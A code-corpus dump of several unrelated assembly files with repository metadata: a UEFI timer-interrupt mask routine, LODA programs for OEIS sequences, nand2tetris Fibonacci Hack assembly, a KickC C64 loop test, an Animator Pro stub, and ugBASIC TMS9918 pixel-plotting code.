;; @file ; ; Copyright 2006 - 2010 Unified EFI, Inc.<BR> ; Copyright (c) 2010, Intel Corporation. All rights reserved.<BR> ; ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; ;++ ;--------------------- Start of InterruptMask.asm ----------------------------- .code ;------------------------------------------------------------------------------ ; VOID ; MaskTimerInterrupt ( ; VOID ; ) ;------------------------------------------------------------------------------ MaskTimerInterrupt PROC mov al, 0ffh mov dx, 021h out dx, al ret MaskTimerInterrupt ENDP ;------------------------------------------------------------------------------ ; VOID ; UnmaskTimerInterrupt ( ; VOID ; ) ;------------------------------------------------------------------------------ UnmaskTimerInterrupt PROC mov al, 0feh mov dx, 021h out dx, al ret UnmaskTimerInterrupt ENDP END ;--------------------- End of InterruptMask.asm --------------------------------
31.644444
87
0.469101
a21394bcb759584115a400141b6c69dc8549c078
2,366
asm
Assembly
programs/oeis/212/A212893.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/212/A212893.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/212/A212893.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A212893: Number of quadruples (w,x,y,z) with all terms in {0,...,n} such that w-x, x-y, and y-z all have the same parity. ; 1,4,25,64,169,324,625,1024,1681,2500,3721,5184,7225,9604,12769,16384,21025,26244,32761,40000,48841,58564,70225,82944,97969,114244,133225,153664,177241,202500,231361,262144,297025,334084,375769,419904,469225,521284,579121,640000,707281,777924,855625,937024,1026169,1119364,1221025,1327104,1442401,1562500,1692601,1827904,1974025,2125764,2289169,2458624,2640625,2829124,3031081,3240000,3463321,3694084,3940225,4194304,4464769,4743684,5040025,5345344,5669161,6002500,6355441,6718464,7102225,7496644,7912969,8340544,8791225,9253764,9740641,10240000,10764961,11303044,11868025,12446784,13053769,13675204,14326225,14992384,15689521,16402500,17147881,17909824,18705625,19518724,20367169,21233664,22137025,23059204,24019801,25000000,26020201,27060804,28143025,29246464,30393169,31561924,32775625,34012224,35295481,36602500,37957921,39337984,40768225,42224004,43731769,45265984,46854025,48469444,50140561,51840000,53597041,55383364,57229225,59105344,61042969,63011844,65044225,67108864,69239041,71402500,73633561,75898944,78234025,80604484,83046769,85525504,88078225,90668484,93334921,96040000,98823481,101646724,104550625,107495424,110523169,113592964,116748025,119946304,123232201,126562500,129982801,133448704,137007025,140612164,144312169,148060224,151905625,155800324,159794881,163840000,167987521,172186884,176491225,180848704,185313769,189833284,194463025,199148544,203946961,208802500,213773641,218803264,223951225,229159044,234487969,239878144,245392225,250968964,256672441,262440000,268337161,274299844,280395025,286557184,292854769,299220804,305725225,312299584,319015321,325802500,332734081,339738624,346890625,354117124,361494169,368947264,376554025,384238404,392079601,400000000,408080401,416241604,424566025,432972864,441546169,450203524,459030625,467943424,477029281,486202500,495552121,504990784,514609225,524318404,534210769,544195584,554367025,564632644,575088361,585640000,596385241,607228164,618268225,629407744,640747969,652189444,663835225,675584064,687540841,699602500,711875761,724255744,736851025,749554884,762477769,775511104,788767225,802135684,815730721,829440000,843379681,857435524,871725625,886133824,900780169,915546564,930555025,945685504,961062001,976562500 add $0,1 pow $0,2 add $0,1 div $0,2 pow $0,2 mov $1,$0
236.6
2,185
0.864751
a565c3735ba6da9c1c3ff56aa6e59e58905ea6f3
2,125
asm
Assembly
projects/08/ProgramFlow/FibonacciSeries/FibonacciSeries.asm
azaslavsky/nand2tetris
f9440564f86c33213730a1e021da894ac0c9be25
[ "MIT" ]
null
null
null
projects/08/ProgramFlow/FibonacciSeries/FibonacciSeries.asm
azaslavsky/nand2tetris
f9440564f86c33213730a1e021da894ac0c9be25
[ "MIT" ]
null
null
null
projects/08/ProgramFlow/FibonacciSeries/FibonacciSeries.asm
azaslavsky/nand2tetris
f9440564f86c33213730a1e021da894ac0c9be25
[ "MIT" ]
null
null
null
// push argument 1: @1 D=A @ARG A=M+D D=M @SP A=M M=D @SP M=M+1 // pop pointer 1 // that = argument[1]: @SP M=M-1 A=M D=M @4 M=D // push constant 0: @0 D=A @SP A=M M=D @SP M=M+1 // pop that 0 // first element in the series = 0: @0 D=A @THAT D=M+D @R13 M=D @SP M=M-1 A=M D=M @R13 A=M M=D // push constant 1: @1 D=A @SP A=M M=D @SP M=M+1 // pop that 1 // second element in the series = 1: @1 D=A @THAT D=M+D @R13 M=D @SP M=M-1 A=M D=M @R13 A=M M=D // push argument 0: @0 D=A @ARG A=M+D D=M @SP A=M M=D @SP M=M+1 // push constant 2: @2 D=A @SP A=M M=D @SP M=M+1 // sub: @SP M=M-1 @SP A=M D=M @SP M=M-1 @SP A=M D=M-D @SP A=M M=D @SP M=M+1 // pop argument 0 // num_of_elements -= 2 (first 2 elements are set): @0 D=A @ARG D=M+D @R13 M=D @SP M=M-1 A=M D=M @R13 A=M M=D // label MAIN_LOOP_START: ($MAIN_LOOP_START) // push argument 0: @0 D=A @ARG A=M+D D=M @SP A=M M=D @SP M=M+1 // if-goto COMPUTE_ELEMENT // if num_of_elements > 0, goto COMPUTE_ELEMENT: @SP M=M-1 A=M D=M @$COMPUTE_ELEMENT D;JNE // goto END_PROGRAM // otherwise, goto END_PROGRAM: @$END_PROGRAM 0;JMP // label COMPUTE_ELEMENT: ($COMPUTE_ELEMENT) // push that 0: @0 D=A @THAT A=M+D D=M @SP A=M M=D @SP M=M+1 // push that 1: @1 D=A @THAT A=M+D D=M @SP A=M M=D @SP M=M+1 // add: @SP M=M-1 @SP A=M D=M @SP M=M-1 @SP A=M D=D+M @SP A=M M=D @SP M=M+1 // pop that 2 // that[2] = that[0] + that[1]: @2 D=A @THAT D=M+D @R13 M=D @SP M=M-1 A=M D=M @R13 A=M M=D // push pointer 1: @4 D=M @SP A=M M=D @SP M=M+1 // push constant 1: @1 D=A @SP A=M M=D @SP M=M+1 // add: @SP M=M-1 @SP A=M D=M @SP M=M-1 @SP A=M D=D+M @SP A=M M=D @SP M=M+1 // pop pointer 1 // that += 1: @SP M=M-1 A=M D=M @4 M=D // push argument 0: @0 D=A @ARG A=M+D D=M @SP A=M M=D @SP M=M+1 // push constant 1: @1 D=A @SP A=M M=D @SP M=M+1 // sub: @SP M=M-1 @SP A=M D=M @SP M=M-1 @SP A=M D=M-D @SP A=M M=D @SP M=M+1 // pop argument 0 // num_of_elements--: @0 D=A @ARG D=M+D @R13 M=D @SP M=M-1 A=M D=M @R13 A=M M=D // goto MAIN_LOOP_START: @$MAIN_LOOP_START 0;JMP // label END_PROGRAM: ($END_PROGRAM)
6.832797
78
0.549647
bfed769ffbccb04758c932e7c1426353714269f5
713
asm
Assembly
src/test/ref/loopnest3.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/loopnest3.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/loopnest3.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Commodore 64 PRG executable file .file [name="loopnest3.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) .label SCREEN = $400 .segment Code main: { lda #0 __b1: // b(i) jsr b // for(byte i:0..100) clc adc #1 cmp #$65 bne __b1 // } rts } // void b(__register(A) char i) b: { // c(i) jsr c // } rts } // void c(__register(A) char i) c: { ldx #0 __b1: // SCREEN[j] = i sta SCREEN,x // for( byte j: 0..100) inx cpx #$65 bne __b1 // } rts }
16.204545
60
0.5554
3927e453117ac53d5069c59091555ae094b24418
208
asm
Assembly
src/PJ/rexlib/gfxlib/rc_ghseg.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
119
2015-01-10T15:13:50.000Z
2022-01-24T04:54:34.000Z
src/PJ/flic386p/libsrc/rastlib/rc_ghseg.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
6
2015-10-22T20:14:59.000Z
2021-07-10T03:25:21.000Z
src/PJ/rexlib/gfxlib/rc_ghseg.asm
AnimatorPro/Animator-Pro
6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb
[ "BSD-3-Clause" ]
27
2015-04-24T22:55:30.000Z
2022-01-21T13:54:00.000Z
;generated via makeasms.bat include raster.i include rastlib.i CGROUP group code code segment dword 'CODE' assume cs:CGROUP,ds:CGROUP RASTLIB_JUMP pj__get_hseg RL_GET_HSEG code ends end
14.857143
39
0.745192
64a3ea953cefc45694bc570dc59b974dec794ddf
486
asm
Assembly
programs/oeis/315/A315757.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/315/A315757.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/315/A315757.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A315757: Coordination sequence Gal.5.294.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,12,18,24,28,34,40,46,52,58,64,70,76,80,86,92,98,104,110,116,122,128,132,138,144,150,156,162,168,174,180,184,190,196,202,208,214,220,226,232,236,242,248,254,260,266,272,278,284 mov $1,$0 sub $1,4 mov $2,$0 trn $0,1 lpb $1 sub $0,2 add $1,2 trn $1,11 lpe lpb $2 add $0,5 sub $2,1 lpe add $0,1
27
181
0.6893
568da44fd130cb62803614bc3ee16633e45c47ba
6,503
asm
Assembly
ugbc/src/hw/tms9918/vars_graphic.asm
spotlessmind1975/ugbasic
1df3c8fde8e80b479ece86b4ff2b97b599d57ff4
[ "Apache-2.0" ]
10
2021-10-03T13:44:25.000Z
2022-03-10T23:53:32.000Z
ugbc/src/hw/tms9918/vars_graphic.asm
spotlessmind1975/ugbasic
1df3c8fde8e80b479ece86b4ff2b97b599d57ff4
[ "Apache-2.0" ]
379
2021-08-12T09:46:09.000Z
2022-03-27T11:29:12.000Z
ugbc/src/hw/tms9918/vars_graphic.asm
spotlessmind1975/ugbasic
1df3c8fde8e80b479ece86b4ff2b97b599d57ff4
[ "Apache-2.0" ]
2
2021-11-08T19:37:50.000Z
2021-11-20T22:27:12.000Z
; /***************************************************************************** ; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers * ; ***************************************************************************** ; * Copyright 2021-2022 Marco Spedaletti (asimov@mclink.it) ; * ; * Licensed under the Apache License, Version 2.0 (the "License"); ; * you may not use this file except in compliance with the License. ; * You may obtain a copy of the License at ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Unless required by applicable law or agreed to in writing, software ; * distributed under the License is distributed on an "AS IS" BASIS, ; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; * See the License for the specific language governing permissions and ; * limitations under the License. ; *---------------------------------------------------------------------------- ; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0 ; * (la "Licenza"); è proibito usare questo file se non in conformità alla ; * Licenza. Una copia della Licenza è disponibile all'indirizzo: ; * ; * http://www.apache.org/licenses/LICENSE-2.0 ; * ; * Se non richiesto dalla legislazione vigente o concordato per iscritto, ; * il software distribuito nei termini della Licenza è distribuito ; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o ; * implicite. Consultare la Licenza per il testo specifico che regola le ; * autorizzazioni e le limitazioni previste dalla medesima. ; ****************************************************************************/ ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ;* * ;* INTERNAL VARIABLES FOR TMS9918 * ;* * ;* by Marco Spedaletti * ;* * ;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ; ------------------------------------------------------------------------------ ; BITMAP_MODE_GRAPHIC2 ; ------------------------------------------------------------------------------ PLOTVBASE: DW ($0000+(0*256)),($0000+(1*256)),($0000+(2*256)),($0000+(3*256)) DW ($0000+(4*256)),($0000+(5*256)),($0000+(6*256)),($0000+(7*256)) DW ($0000+(8*256)),($0000+(9*256)),($0000+(10*256)),($0000+(11*256)) DW ($0000+(12*256)),($0000+(13*256)),($0000+(14*256)),($0000+(15*256)) DW ($0000+(16*256)),($0000+(17*256)),($0000+(18*256)),($0000+(19*256)) DW ($0000+(20*256)),($0000+(21*256)),($0000+(22*256)),($0000+(23*256)) PLOT8: DW (0*8),(1*8),(2*8),(3*8),(4*8),(5*8),(6*8),(7*8),(8*8),(9*8) DW (10*8),(11*8),(12*8),(13*8),(14*8),(15*8),(16*8),(17*8),(18*8),(19*8) DW (20*8),(21*8),(22*8),(23*8),(24*8),(25*8),(26*8),(27*8),(28*8),(29*8) DW (30*8),(31*8) PLOTCVBASE: DW ($2000+(0*256)),($2000+(1*256)),($2000+(2*256)),($2000+(3*256)) DW ($2000+(4*256)),($2000+(5*256)),($2000+(6*256)),($2000+(7*256)) DW ($2000+(8*256)),($2000+(9*256)),($2000+(10*256)),($2000+(11*256)) DW ($2000+(12*256)),($2000+(13*256)),($2000+(14*256)),($2000+(15*256)) DW ($2000+(16*256)),($2000+(17*256)),($2000+(18*256)),($2000+(19*256)) DW ($2000+(20*256)),($2000+(21*256)),($2000+(22*256)),($2000+(23*256)) VDPPOS: ; 4) Use the re~nainder of (X/8) to look up in a table (below) the actual data to plot. The values ; corresponding to different remainders are as follows: The actual bit we need to plot is determined ; by whatever remainder is left after calculating (X/8). PUSH HL PUSH DE LD D,0 LD A, E AND $07 LD E, A LD HL, PLOTORBIT ADD HL, DE LD A, (HL) LD B, A LD HL, PLOTANDBIT ADD HL, DE LD A, (HL) LD C, A POP DE POP HL PUSH DE ;------------------------- ;calc Y-cell, divide by 8 ;y/8 is y-cell table index ;------------------------- SRL D ;/ 2 SRL D ;/ 4 SRL D ;/ 8 ;------------------------ ;calc X-cell, divide by 8 ;divide 2-byte PLOTX / 8 ;------------------------ SRL E SRL E SRL E ;---------------------------------- ;add x & y to calc cell point is in ;---------------------------------- ; 1) Take the integer value of (X/8) and multiply it times 8. This will give the horizontal byte ; offset. PUSH BC PUSH DE LD D, 0 LD HL, PLOT8 ADD HL, DE ADD HL, DE LD A, (HL) LD C, A INC HL LD A, (HL) LD B, A ; 2) Take the integer value of (Y/8) and multiply it times Hex 100. This will give the vertical ; byte offset to the nearest eight bits. LD HL, PLOTVBASE POP DE PUSH DE LD E, D LD D, 0 ADD HL, DE ADD HL, DE LD A, (HL) LD E, A INC HL LD A, (HL) LD D, A LD HL, DE ; 3) Add the horizontal byte offset to the vertical starting address. This will give the actual ; address of the byte we need to write data to in order to plot our pixel. ADD HL, BC POP DE ; If there is any remainder after calculating (Y/8), add ; it to the vertical byte offset. This gives the vertical ; starting address. POP BC POP DE PUSH DE LD A, D AND $07 LD E, A LD D, 0 ADD HL, DE POP DE DI PUSH DE EXX POP DE LD HL, $2000 PUSH DE LD D, 0 SRL E SRL E SRL E LD HL, PLOT8 ADD HL, DE ADD HL, DE LD A, (HL) LD C, A INC HL LD A, (HL) LD B, A LD HL, PLOTCVBASE POP DE PUSH DE LD E, D SRL E SRL E SRL E LD D, 0 ADD HL, DE ADD HL, DE LD A, (HL) LD E, A INC HL LD A, (HL) LD D, A LD HL, DE ADD HL, BC POP DE PUSH DE LD A, D AND $07 LD E, A LD D, 0 ADD HL, DE POP DE EXX EI RET PLOTORBIT: DB %10000000 DB %01000000 DB %00100000 DB %00010000 DB %00001000 DB %00000100 DB %00000010 DB %00000001 PLOTANDBIT: DB %01111111 DB %10111111 DB %11011111 DB %11101111 DB %11110111 DB %11111011 DB %11111101 DB %11111110
27.209205
101
0.470398